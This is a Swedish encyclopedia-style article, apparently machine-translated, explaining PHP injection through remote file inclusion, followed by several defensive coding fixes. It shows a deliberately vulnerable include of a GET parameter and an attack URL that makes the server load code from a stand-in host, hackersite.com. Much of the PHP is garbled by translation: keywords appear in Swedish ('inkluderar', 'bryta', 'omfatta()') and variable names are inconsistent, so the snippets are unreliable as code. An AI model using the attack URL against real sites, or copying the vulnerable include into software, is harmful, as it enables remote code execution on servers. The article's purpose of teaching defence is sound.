PHP-injektion
Den aktuella versionen av sidan har ännu inte granskats av erfarna bidragsgivare och kan skilja sig väsentligt från
versionen som granskades den 1 december 2020; kontroller kräver
2 redigeringar .
PHP-injektion ( eng. PHP-injection ) är ett av sätten att hacka webbplatser som körs på PHP , vilket består i att exekvera främmande kod på serversidan. Potentiellt farliga funktioner är:
- eval(),
- preg_replace() (med "e" modifierare),
- require_once(),
- include_once(),
- omfatta(),
- behöva(),
- create_function().
PHP-injektion blir möjlig om indataparametrar accepteras och används utan validering.
Exempel
<?
...
$modul = $_GET [ 'modul' ];
include ( $modul . '.php' );
...
?>
Det här skriptet är sårbart eftersom ".php" helt enkelt läggs till innehållet i variabeln $module och .php -filen ingår i den mottagna sökvägen .
En angripare kan skapa en fil som innehåller PHP-kod ( http://hackersite.com/inc.php) på sin webbplats, och genom att besöka webbplatsen via en länk verkar det som att
http://mysite.com/index.php?module=http://hackersite.com/inc
köra alla PHP-kommandon.
Sätt att skydda
Det finns flera sätt att skydda sig mot en sådan attack:
- Kontrollera om en variabel innehåller $modulefrämmande tecken:
<?
...
$modul = $_GET [ 'modul' ];
if ( strpbrk ( $modul , '.?/:' )) die ( 'Blockerad' );
inkluderar $modulen . '.php' ;
...
?>
- Kontrollera att $moduleett av de tillåtna värdena är tilldelat:
<?
...
$modul = $_GET [ 'modul' ];
$arr = array ( 'huvud' , 'om' , 'länkar' , 'forum' );
if ( ! in_array ( $modul , $arr )) $modul = $arr [ 0 ];
inkludera $modul . '.php' ;
...
?>
Denna metod är mer effektiv, vacker och snygg.
- Skriv varje värde genom if
<?
...
$modul = $_GET [ 'modul' ];
if ( $modul == 'main' ) inkluderar 'main.php' ;
if ( $modul == 'about' ) inkluderar 'about.php' ;
if ( $module == 'länkar' ) inkluderar 'links.php' ;
if ( $module == 'forum' ) inkluderar 'forum.php' ;
...
?>
<?
...
$modul = $_GET [ 'modul' ];
switch ( $modul ) {
case 'about' :
case 'links' :
case 'forum' :
include " { $module } .php" ; bryta ;
default : include 'main.php' ;
}
...
?>
Denna lösning liknar if-lösningen, men har en mer kompakt notation.
PHP ger också möjligheten att inaktivera användningen av fjärrfiler, detta implementeras genom att ändra värdet på alternativet allow_url_fopen till Av i serverns konfigurationsfil php.ini.
Den beskrivna sårbarheten utgör en stor fara för webbplatsen och författarna till PHP-skript bör inte glömma det.
Se även
Länkar